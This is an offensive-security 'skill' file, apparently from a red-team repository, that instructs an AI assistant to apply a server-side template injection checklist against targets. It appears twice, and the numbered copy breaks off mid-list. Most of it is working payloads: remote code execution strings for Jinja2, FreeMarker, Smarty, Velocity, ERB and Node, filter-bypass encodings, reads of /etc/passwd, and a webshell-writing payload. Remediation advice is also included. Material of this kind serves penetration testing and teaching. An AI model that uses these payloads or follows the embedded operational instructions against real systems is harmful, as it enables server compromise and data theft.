SKILL: Server-Side Template Injection (SSTI)
Metadata
Description
Server-Side Template Injection testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection payloads, engine-specific RCE payloads, blind SSTI, and filter bypass. Use when testing web apps for template injection vulnerabilities.
Trigger Phrases
Use this skill when the conversation involves any of:
SSTI, server-side template injection, Jinja2, Twig, Freemarker, Pebble, Velocity, template injection, template RCE, polyglot payload, template engine, blind SSTI
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Server-Side Template Injection (SSTI)
Template engines are software used to generate dynamic web pages. When user input is unsafely embedded into templates, server-side template injection (SSTI) can occur, potentially leading to Remote Code Execution (RCE).
Shortcut
- Look for all locations where user input is reflected or used in the response (URL parameters, POST data, HTTP headers, JSON data, etc.).
- Inject template syntax characters/polyglots like
${{<%[%'"}}%\, {{7*'7'}}, {{7*7}} into inputs. Check for errors, mathematical evaluation (e.g., 49 instead of 7*7), or missing/changed reflections.
- Verify server-side evaluation (e.g., math works) vs. client-side XSS.
- Use engine-specific syntax (e.g.,
${7/0}, {{7/0}}, <%= 7/0 %>), known variable names ({{config}}, {$smarty}), or error messages to identify the template engine (use a decision tree like PortSwigger's or HackTricks').
- Look up payloads specific to the identified engine and backend language.
- Use engine-specific payloads (see Methodologies) to read files, execute commands, access internal data, or escape sandboxes.
- Create a non-destructive proof of concept (e.g.,
touch ssti_poc_by_YOUR_NAME.txt via RCE).
Mechanisms
Server-Side Template Injection (SSTI) occurs when attacker-controlled input is embedded unsafely into a server-side template. Instead of treating the input as data, the template engine executes it as part of the template's code. This allows injecting template directives to execute arbitrary code, access server data, or perform actions as the application.
Root Cause: Concatenating or directly rendering user input within a template string without proper sanitization or using insecure template functions.
- Misusing “helper” APIs that compile raw strings at runtime, such as
render_template_string, Template::render_inline, or Template.compile, which appear safe but execute attacker‑supplied data.
Vulnerable Example 1 (Simple Jinja2)
The following program takes user input and concatenates it directly into a template string:
# Assume user_input comes from an HTTP request parameter
from jinja2 import Template
tmpl = Template("<html><h1>The user's name is: " + user_input + "</h1></html>")
print(tmpl.render())
If user_input is {{1+1}}, the engine executes the expression:
<html>
<h1>The user's name is: 2</h1>
</html>
Vulnerable Example 2 (Flask/Jinja2)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
# Vulnerable: Directly renders user input from 'user' query parameter
if request.args.get('user'):
return render_template_string('Welcome ' + request.args.get('user'))
else:
return render_template_string('Hello World!')
# Attacker URL: http://<server>/?user={{7*7}}
# Response: Welcome 49
Secure Example (Flask/Jinja2)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
# Secure: Passes user input as a variable to the template
if request.args.get('user'):
# The template engine treats 'username' as data, not code
return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
else:
# ...
Hunt
Preparation
Detection
- Initial Fuzzing: Inject basic polyglots:
${{<%[%'"}}%\, {{7*'7'}}, {{7*7}}, ${7*7}, **quote‑less payloads** such as {{[].__class__.__mro__[1]}}.
- Observe Behavior:
- Errors: Stack traces or specific error messages can reveal the template engine (e.g., Jinja2, Smarty, FreeMarker).
- Evaluation: Input like
{{7*7}} becomes 49.
- Blank Output: The payload might be processed and removed if invalid or if it performs an action without output.
- No Change: Input reflected exactly as provided; likely not vulnerable (or requires different syntax).
- Differentiate from XSS: Ensure the evaluation happens server-side, not client-side.
${7*7} evaluating to 49 strongly suggests SSTI.
Identification
Engine-Specific Payloads
Use a systematic approach based on the initial observations or a decision tree (PortSwigger, updated July 2024, Medium).
Additional Common Engines (2024‑2025)
| Engine |
Fingerprint |
Simple RCE / Info payload |
| Mako (Python/Pyramid) |
Error message containing mako.exceptions |
${self.module.os.popen('id').read()} |
| Blade (Laravel 11) |
Undefined variable or @dd($loop) dumps |
{!!\\Illuminate\\Support\\Facades\\Artisan::call('about')!!} |
| Groovy / GSP |
Stack trace with groovy.text.SimpleTemplateEngine |
<% Class.forName('java.lang.Runtime').runtime.exec('id') %> |
| Tera / Askama (Rust) |
Files ending .tera / .askama.rs |
No generic RCE yet; watch for logic injection |
| EJS / Pug (Node) |
.ejs, .pug templates |
Often needs gadget via helpers/filters; prototype chains |
| Twig (PHP) |
Error mentions Twig\\ |
{% for k,v in _self %} info, RCE via unsafe extensions |
| Liquid (Shopify/Ruby) |
{{product.title}}, errors mention Liquid:: |
Limited by default; see Liquid-specific payloads below |
| Nunjucks (Node/Mozilla) |
Mozilla's Jinja2 port, .njk templates |
Prototype chain to Function or require |
| Handlebars (Node) |
{{this}}, {{@root}} work |
Limited RCE; requires unsafe helpers or prototype pollution |
| Thymeleaf 3.1+ (Java/Spring) |
th:text="${...}", Spring Boot stack traces |
${T(java.lang.Runtime).getRuntime().exec('id')} if SpEL enabled |
Variable Probing
Try injecting known variables for common frameworks: {{config}}, {{settings}}, {{app.request.server.all|join(',')}}, {$smarty.version}.
Bypass Techniques
Character Blacklist Bypass
Note: The index for subprocess.Popen differs between CPython 3.11 and 3.12; enumerate __subclasses__() at runtime instead of hard‑coding.
Keyword Filtering Bypass
- Concatenation:
'os'.__class__ -> 'o'+'s'
- Using
request object attributes or environment variables if keywords like import or os are blocked.
- Jinja2 Context Variables: Access
os via {{ self._TemplateReference__context.cycler.__init__.__globals__.os }} or similar paths (Source: Podalirius).
NET Reflection
Use reflection to load assemblies or invoke methods indirectly.
On modern ASP.NET Core, Razor limits direct process start; look for misused Html.Raw, custom tag helpers, or debug compilation flags.
String-less Exploitation
Modern WAFs often filter quotes and common keyword tokens. 2025 research showed how to build strings from arithmetic or list indices.
{{ (().__class__.__base__.__subclasses__()[104].__init__.__globals__).os.popen('id').read() }}
For Node templating (EJS/Pug/Handlebars server-side), prefer prototype traversal to reach Function or require when helpers expose evaluation sinks:
<%=(global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')())%>
Recent CVEs (2024‑2025)
| CVE |
Affected component |
Severity |
Fixed in |
| CVE‑2024‑22195 |
Jinja2 sandbox / xmlattr filter bypass |
High |
3.1.3 |
| CVE‑2024‑46507 |
Yeti threat‑intel platform SSTI → RCE |
Critical |
1.6.2 |
| Various (2024) |
Atlassian Confluence widgets, CrushFTP, HFS |
Critical |
See vendor advisories |
Automated Scanning & CI Integration
- nuclei and semgrep include up‑to‑date SSTI rules; integrate them into pull‑request checks.
- GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.
- Add a CI gate blocking merges on raw
render_template_string or .format() inside templates.
Vulnerabilities
Common vulnerable patterns include:
- Direct Rendering:
render_template_string("Hello " + user_input)
- Unsafe Variable Usage:
{{ unsafe_variable }} where unsafe_variable contains template code.
- Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).
Methodologies
Tools
Active Exploitation:
- tplmap:
python tplmap.py -u 'http://www.target.com/page?name=John*' (https://github.com/epinna/tplmap)
- SSTImap:
python3 sstimap.py -u "https://example.com/page?name=John" -s
- TInjA:
tinja url -u "http://example.com/?name=Kirlia"
- crithit – SSTI‑centric fuzzer supporting Go/Tera, Blade, and Mako (2024)
Burp Suite Extensions:
- Template Injector – maintained fork replacing TemplateTester
- Server Side Template Injection - Active scanner checks
- Param Miner - Discover hidden parameters that might accept template input
Scanning & Detection:
- nuclei (
templates/ssti-*) – fast HTTP scanner with updated SSTI signatures (2024-2025)
- semgrep with SSTI rulesets – Static analysis for template injection vulnerabilities
- GitHub CodeQL "SSTI" query pack (2024-10) – Covers Python, PHP, Go
Framework-Specific:
- Jinja2 Sandbox Escape Tools - Testing Jinja2 sandboxed environments
- Node Template Tester - EJS/Pug/Handlebars/Nunjucks testing suite
Manual Testing & Exploitation Payloads
- Generic/Polyglot:
${{<%[%'"}}%\.
{{7*7}} -> 49
{{7*'7'}} -> 7777777
{{ '7'*7 }} (Jinja2) -> 7777777
@(1+2) (.NET Razor) -> 3
- Jinja2 (Python / Flask):
- Debug/Info:
{{config}}, {{self}}, {{settings.SECRET_KEY}}, {% debug %} (Requires debug extension)
- List Subclasses:
{{ [].__class__.__base__.__subclasses__() }} , {{ ''.__class__.__mro__[1].__subclasses__() }} (Index 1 or 2 depending on Python version)
- Recover
object Class: {{ ''.__class__.__mro__[1] }} (or [2]), {{ ''.__class__.__base__ }}
- Find File Class: Iterate through subclasses list or guess index, e.g.,
[40] on some systems.
- Read File (via
__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} (Index varies)
- RCE (via
__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }} (Find subprocess.Popen index, e.g., 396)
- RCE (Common - via
__globals__): {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
- RCE (via
request object - __globals__): {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
- RCE (via
config object - __globals__): {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
- RCE (Alternative via
__globals__ search): {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} (Search for a class with _module attribute)
- RCE (via
config and import_string): {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
- RCE (via
request and hex/brackets bypass): {{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
- Write File (via
__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }} (Index varies)
- Write Evil Config & RCE:
# Write config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# Load config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# Execute
{{ config['RUNCMD']('id',shell=True) }}
- Avoid HTML Encoding:
{{'<script>alert(1)</script>'|safe}}
- Loop:
{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}
- FreeMarker (Java):
- RCE:
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
- RCE:
${"freemarker.template.utility.Execute"?new()("id")}
- File Read:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} (May require adjustments)
- Info:
${class.getResource("").getPath()}, ${T(java.lang.System).getenv()}
- Smarty (PHP):
{$smarty.version}
{php}echo id;{/php} (If PHP tag enabled)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} (Write webshell)
{{7*7}}, {{7*'7'}}
{{dump(app)}} (Symfony)
"{{'/etc/passwd'|file_excerpt(1,30)}}"@ (Twig)
- Velocity (Java):
#set($str=$class.inspect("java.lang.String").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end (Read command output)
- Ruby (ERB, Slim):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
- Node.js (Various engines):
{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}
- Payloads often involve traversing prototypes (
this.__proto__) to reach constructor and eventually Function or require. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.
- ASP/.NET (Razor, etc.):
@(1+2) -> 3
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %> (Classic ASP)
- Perl (Template Toolkit):
[% PERL %] ... perl code ... [% END %]
<%= perl code %> or <% perl code %> (Depending on config)
- Go (
text/template):
- Potentially dangerous if methods allowing command execution are exposed to the template:
{{ .System "ls" }}
html/template is generally safer against XSS but might still leak info if not used carefully.
Comprehensive Payloads
Chaining and Escalation
SSTI often leads directly to RCE, but can also be used for:
- RCE: Primary goal, gain shell access.
- File Exfiltration: Read sensitive files (
/etc/passwd, web.config, source code, credentials).
- Information Disclosure: Dump environment variables, application configuration (
{{config}}, {{settings}}), object properties, internal network paths.
- Internal Network Access: Use RCE to pivot, scan internal networks, or access internal services.
- Privilege Escalation: Combine RCE with local exploits if the web server runs with elevated privileges.
- Data Exfiltration: Send internal data to an attacker-controlled server (e.g., via HTTP requests or DNS exfiltration from within the template code).
- SSRF pivot: Some engines permit URL‑fetch filters (
{{''|fetch('http://...')}}); leverage SSTI to query cloud‑metadata endpoints.
Remediation Recommendations
- Never Render User Input Directly: The most critical step. Treat user input as data, not code.
- Use Safe Templating Practices:
- Pass user data into templates using dedicated template variables (e.g.,
render_template('page.html', user_data=user_input)).
- Use logic-less templates if possible.
- Sanitize and Validate: If rendering user input is unavoidable (e.g., CMS), rigorously sanitize it. Remove or escape all template syntax characters (
{, }, $, %, <, >, etc.). Use allow-lists for safe HTML if needed.
- Use Sandboxed Environments: Configure the template engine's sandbox if available and effective for the specific engine. Be aware that sandboxes can often be bypassed.
- Choose Safer Engines: Prefer engines designed for security, like Go's
html/template over text/template for HTML output, as it provides context-aware auto-escaping.
- Principle of Least Privilege: Run the web application process with minimal privileges.
- Input Validation: Validate input against expected formats (e.g., email, number) before it reaches the template layer.
- Patch management: track and apply security updates for template engines (see Recent CVEs).
- Harden runtime: enable seccomp/AppArmor or gVisor so that even a successful RCE has minimal kernel attack surface.
- CI guardrails: block usage of dangerous APIs (e.g.,
render_template_string, Template.compile, eval filters) via linters/semgrep; add approve‑list of safe helpers
- For Node: disable
with in EJS, avoid compileDebug, and run with vm sandbox only when fully locked down (no require or Function reachable)
Source: SnailSploit/Claude-Red → Skills/web/offensive-ssti/SKILL.md
1---2name: skill-server-side-template-injection-ssti3description: Skill Server Side Template Injection Ssti4---5# SKILL: Server-Side Template Injection (SSTI)
6
7## Metadata
8- **Skill Name**: ssti
9- **Folder**: offensive-ssti
10- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/ssti.md
11
12## Description
13Server-Side Template Injection testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection payloads, engine-specific RCE payloads, blind SSTI, and filter bypass. Use when testing web apps for template injection vulnerabilities.
14
15## Trigger Phrases
16Use this skill when the conversation involves any of:
17`SSTI, server-side template injection, Jinja2, Twig, Freemarker, Pebble, Velocity, template injection, template RCE, polyglot payload, template engine, blind SSTI`
18
19## Instructions for Claude
20
21When this skill is active:
221. Load and apply the full methodology below as your operational checklist
232. Follow steps in order unless the user specifies otherwise
243. For each technique, consider applicability to the current target/context
254. Track which checklist items have been completed
265. Suggest next steps based on findings
27
28---
29
30## Full Methodology
31
32# Server-Side Template Injection (SSTI)
33
34Template engines are software used to generate dynamic web pages. When user input is unsafely embedded into templates, server-side template injection (SSTI) can occur, potentially leading to Remote Code Execution (RCE).
35
36## Shortcut
37
38- Look for all locations where user input is reflected or used in the response (URL parameters, POST data, HTTP headers, JSON data, etc.).
39- Inject template syntax characters/polyglots like `${{<%[%'"}}%\`, `{{7*'7'}}`, `{{7*7}}` into inputs. Check for errors, mathematical evaluation (e.g., `49` instead of `7*7`), or missing/changed reflections.
40- Verify server-side evaluation (e.g., math works) vs. client-side XSS.
41- Use engine-specific syntax (e.g., `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`), known variable names (`{{config}}`, `{$smarty}`), or error messages to identify the template engine (use a decision tree like PortSwigger's or HackTricks').
42- Look up payloads specific to the identified engine and backend language.
43- Use engine-specific payloads (see Methodologies) to read files, execute commands, access internal data, or escape sandboxes.
44- Create a non-destructive proof of concept (e.g., `touch ssti_poc_by_YOUR_NAME.txt` via RCE).
45
46## Mechanisms
47
48Server-Side Template Injection (SSTI) occurs when attacker-controlled input is embedded unsafely into a server-side template. Instead of treating the input as data, the template engine executes it as part of the template's code. This allows injecting template directives to execute arbitrary code, access server data, or perform actions as the application.
49
50**Root Cause:** Concatenating or directly rendering user input within a template string without proper sanitization or using insecure template functions.
51
52- Misusing “helper” APIs that compile raw strings at runtime, such as `render_template_string`, `Template::render_inline`, or `Template.compile`, which appear safe but execute attacker‑supplied data.
53
54### Vulnerable Example 1 (Simple Jinja2)
55
56The following program takes user input and concatenates it directly into a template string:
57
58```python
59# Assume user_input comes from an HTTP request parameter
60from jinja2 import Template
61tmpl = Template("<html><h1>The user's name is: " + user_input + "</h1></html>")
62print(tmpl.render())
63```
64
65If `user_input` is `{{1+1}}`, the engine executes the expression:
66
67```html
68<html>
69 <h1>The user's name is: 2</h1>
70</html>
71```
72
73### Vulnerable Example 2 (Flask/Jinja2)
74
75```python
76from flask import Flask, request, render_template_string
77
78app = Flask(__name__)
79
80@app.route('/')
81def home():
82 # Vulnerable: Directly renders user input from 'user' query parameter
83 if request.args.get('user'):
84 return render_template_string('Welcome ' + request.args.get('user'))
85 else:
86 return render_template_string('Hello World!')
87
88# Attacker URL: http://<server>/?user={{7*7}}
89# Response: Welcome 49
90```
91
92### Secure Example (Flask/Jinja2)
93
94```python
95from flask import Flask, request, render_template_string
96
97app = Flask(__name__)
98
99@app.route('/')
100def home():
101 # Secure: Passes user input as a variable to the template
102 if request.args.get('user'):
103 # The template engine treats 'username' as data, not code
104 return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
105 else:
106 # ...
107```
108
109## Hunt
110
111### Preparation
112
113- Identify all user-controlled input points: URL parameters, POST data, HTTP headers (Referer, User-Agent, custom headers), JSON keys/values, etc.
114- Use tools like `waybackurls` and `qsreplace` to generate fuzzing lists for parameters:
115 ```bash
116 waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
117 ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
118 # Check Burp Repeater/Logger++ for responses containing the evaluated result (e.g., 81)
119 ```
120
121### Detection
122
123- Initial Fuzzing: Inject basic polyglots: `${{<%[%'"}}%\`, `{{7*'7'}}`, `{{7*7}}`, `${7*7}`, **quote‑less payloads** such as `{{[].__class__.__mro__[1]}}`.
124- Observe Behavior:
125 - Errors: Stack traces or specific error messages can reveal the template engine (e.g., Jinja2, Smarty, FreeMarker).
126 - Evaluation: Input like `{{7*7}}` becomes `49`.
127 - Blank Output: The payload might be processed and removed if invalid or if it performs an action without output.
128 - No Change: Input reflected exactly as provided; likely not vulnerable (or requires different syntax).
129- Differentiate from XSS: Ensure the evaluation happens server-side, not client-side. `${7*7}` evaluating to `49` strongly suggests SSTI.
130
131### Identification
132
133#### Engine-Specific Payloads
134
135Use a systematic approach based on the initial observations or a decision tree ([PortSwigger, updated July 2024](https://portswigger.net/research/server-side-template-injection), [Medium](https://miro.medium.com/v2/resize:fit:1100/format:webp/1%2A35XwCGeYeKYmeaU8rdkSdg.jpeg)).
136
137#### Additional Common Engines (2024‑2025)
138
139| Engine | Fingerprint | Simple RCE / Info payload |
140| -------------------------------- | --------------------------------------------------- | ----------------------------------------------------------------- |
141| **Mako** (Python/Pyramid) | Error message containing `mako.exceptions` | `${self.module.os.popen('id').read()}` |
142| **Blade** (Laravel 11) | `Undefined variable` or `@dd($loop)` dumps | `{!!\\Illuminate\\Support\\Facades\\Artisan::call('about')!!}` |
143| **Groovy / GSP** | Stack trace with `groovy.text.SimpleTemplateEngine` | `<% Class.forName('java.lang.Runtime').runtime.exec('id') %>` |
144| **Tera / Askama (Rust)** | Files ending `.tera` / `.askama.rs` | No generic RCE yet; watch for logic injection |
145| **EJS / Pug (Node)** | `.ejs`, `.pug` templates | Often needs gadget via helpers/filters; prototype chains |
146| **Twig (PHP)** | Error mentions `Twig\\` | `{% for k,v in _self %}` info, RCE via unsafe extensions |
147| **Liquid** (Shopify/Ruby) | `{{product.title}}`, errors mention `Liquid::` | Limited by default; see Liquid-specific payloads below |
148| **Nunjucks** (Node/Mozilla) | Mozilla's Jinja2 port, `.njk` templates | Prototype chain to `Function` or `require` |
149| **Handlebars** (Node) | `{{this}}`, `{{@root}}` work | Limited RCE; requires unsafe helpers or prototype pollution |
150| **Thymeleaf 3.1+** (Java/Spring) | `th:text="${...}"`, Spring Boot stack traces | `${T(java.lang.Runtime).getRuntime().exec('id')}` if SpEL enabled |
151
152#### Variable Probing
153
154Try injecting known variables for common frameworks: `{{config}}`, `{{settings}}`, `{{app.request.server.all|join(',')}}`, `{$smarty.version}`.
155
156## Bypass Techniques
157
158### Character Blacklist Bypass
159
160- Use alternative syntax: `getattr(object, 'attribute')` instead of `object.attribute`. Use `{{request|attr('application')}}` instead of `{{request.application}}`.
161- Use array/dictionary access: `request['application']` instead of `request.application`.
162- Hex/Octal Encoding (if interpreted server-side): `request['\x5f\x5fglobals\x5f\x5f']` instead of `request['__globals__']`.
163 ```python
164 # Example: Bypass '.' and '_' using brackets and hex
165 {{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
166 # Example: Using attr() and hex (Source: HackTricks)
167 {%raw %}{% with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{{a}}{% endwith %}{% endraw %}
168 ```
169- URL Parameter manipulation (Source: HackTricks):
170 - Pass attribute name: `?c=__class__` -> `{{ request|attr(request.args.c) }}`
171 - Construct attribute name: `?f=%s%sclass%s%s&a=_` -> `{{ request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)) }}`
172 - List join: `?l=a&a=_&a=_&a=class&a=_&a=_` -> `{{ request|attr(request.args.getlist(request.args.l)|join) }}`
173
174> **Note:** The index for `subprocess.Popen` differs between CPython 3.11 and 3.12; enumerate `__subclasses__()` at runtime instead of hard‑coding.
175
176### Keyword Filtering Bypass
177
178- Concatenation: `'os'.__class__` -> `'o'+'s'`
179- Using `request` object attributes or environment variables if keywords like `import` or `os` are blocked.
180- Jinja2 Context Variables: Access `os` via `{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}` or similar paths ([Source: Podalirius](https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/)).
181
182### NET Reflection
183
184Use reflection to load assemblies or invoke methods indirectly.
185On modern ASP.NET Core, Razor limits direct process start; look for misused `Html.Raw`, custom tag helpers, or debug compilation flags.
186
187### String-less Exploitation
188
189Modern WAFs often filter quotes and common keyword tokens. 2025 research showed how to build strings from arithmetic or list indices.
190
191```jinja
192{{ (().__class__.__base__.__subclasses__()[104].__init__.__globals__).os.popen('id').read() }}
193```
194
195For Node templating (EJS/Pug/Handlebars server-side), prefer prototype traversal to reach `Function` or `require` when helpers expose evaluation sinks:
196
197```js
198<%=(global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')())%>
199```
200
201### Recent CVEs (2024‑2025)
202
203| CVE | Affected component | Severity | Fixed in |
204| -------------- | ------------------------------------------- | -------- | --------------------- |
205| CVE‑2024‑22195 | Jinja2 sandbox / `xmlattr` filter bypass | High | 3.1.3 |
206| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE | Critical | 1.6.2 |
207| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |
208
209### Automated Scanning & CI Integration
210
211- **nuclei** and **semgrep** include up‑to‑date SSTI rules; integrate them into pull‑request checks.
212- GitHub code‑scanning query pack “SSTI” (released 2024‑10) covers Python, PHP, Go.
213- Add a CI gate blocking merges on raw `render_template_string` or `.format()` inside templates.
214
215## Vulnerabilities
216
217Common vulnerable patterns include:
218
219- Direct Rendering: `render_template_string("Hello " + user_input)`
220- Unsafe Variable Usage: `{{ unsafe_variable }}` where `unsafe_variable` contains template code.
221- Framework-Specific Functions: Using functions known to be dangerous if processing user input (consult framework documentation).
222
223## Methodologies
224
225### Tools
226
227**Active Exploitation:**
228
229- **tplmap**: `python tplmap.py -u 'http://www.target.com/page?name=John*'` ([https://github.com/epinna/tplmap](https://github.com/epinna/tplmap))
230- **SSTImap**: `python3 sstimap.py -u "https://example.com/page?name=John" -s`
231- **TInjA**: `tinja url -u "http://example.com/?name=Kirlia"`
232- **crithit** – SSTI‑centric fuzzer supporting Go/Tera, Blade, and Mako (2024)
233
234**Burp Suite Extensions:**
235
236- **Template Injector** – maintained fork replacing TemplateTester
237- **Server Side Template Injection** - Active scanner checks
238- **Param Miner** - Discover hidden parameters that might accept template input
239
240**Scanning & Detection:**
241
242- **nuclei** (`templates/ssti-*`) – fast HTTP scanner with updated SSTI signatures (2024-2025)
243- **semgrep** with SSTI rulesets – Static analysis for template injection vulnerabilities
244- **GitHub CodeQL** "SSTI" query pack (2024-10) – Covers Python, PHP, Go
245
246**Framework-Specific:**
247
248- **Jinja2 Sandbox Escape Tools** - Testing Jinja2 sandboxed environments
249- **Node Template Tester** - EJS/Pug/Handlebars/Nunjucks testing suite
250
251### Manual Testing & Exploitation Payloads
252
253- Generic/Polyglot:
254 - `${{<%[%'"}}%\.`
255 - `{{7*7}}` -> `49`
256 - `{{7*'7'}}` -> `7777777`
257 - `{{ '7'*7 }}` (Jinja2) -> `7777777`
258 - `@(1+2)` (.NET Razor) -> `3`
259- Jinja2 (Python / Flask):
260 - Debug/Info: `{{config}}`, `{{self}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` (Requires debug extension)
261 - List Subclasses: `{{ [].__class__.__base__.__subclasses__() }}` , `{{ ''.__class__.__mro__[1].__subclasses__() }}` (Index 1 or 2 depending on Python version)
262 - Recover `object` Class: `{{ ''.__class__.__mro__[1] }}` (or `[2]`), `{{ ''.__class__.__base__ }}`
263 - Find File Class: Iterate through subclasses list or guess index, e.g., `[40]` on some systems.
264 - Read File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}` (Index varies)
265 - RCE (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}` (Find `subprocess.Popen` index, e.g., `396`)
266 - RCE (Common - via `__globals__`): `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}`
267 - RCE (via `request` object - `__globals__`): `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`
268 - RCE (via `config` object - `__globals__`): `{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}`
269 - RCE (Alternative via `__globals__` search): `{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}` (Search for a class with `_module` attribute)
270 - RCE (via `config` and `import_string`): `{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}`
271 - RCE (via `request` and hex/brackets bypass): `{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}`
272 - Write File (via `__subclasses__`): `{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }}` (Index varies)
273 - Write Evil Config & RCE:
274 ```python
275 # Write config
276 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
277 # Load config
278 {{ config.from_pyfile('/tmp/evilconfig.cfg') }}
279 # Execute
280 {{ config['RUNCMD']('id',shell=True) }}
281 ```
282 - Avoid HTML Encoding: `{{'<script>alert(1)</script>'|safe}}`
283 - Loop: `{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}`
284- FreeMarker (Java):
285 - RCE: `<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }`
286 - RCE: `${"freemarker.template.utility.Execute"?new()("id")}`
287 - File Read: `${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}` (May require adjustments)
288 - Info: `${class.getResource("").getPath()}`, `${T(java.lang.System).getenv()}`
289- Smarty (PHP):
290 - `{$smarty.version}`
291 - `{php}echo `id`;{/php}` (If PHP tag enabled)
292 - `{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}` (Write webshell)
293 - `{{7*7}}`, `{{7*'7'}}`
294 - `{{dump(app)}}` (Symfony)
295 - `"{{'/etc/passwd'|file_excerpt(1,30)}}"@` (Twig)
296- Velocity (Java):
297 - `#set($str=$class.inspect("java.lang.String").type)`
298 - `#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))`
299 - `$ex.waitFor()`
300 - `#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end` (Read command output)
301- Ruby (ERB, Slim):
302 - `<%= system("whoami") %>`
303 - `<%= Dir.entries('/') %>`
304 - `<%= File.open('/etc/passwd').read %>`
305- Node.js (Various engines):
306 - `{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}`
307 - Payloads often involve traversing prototypes (`this.__proto__`) to reach `constructor` and eventually `Function` or `require`. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.
308- ASP/.NET (Razor, etc.):
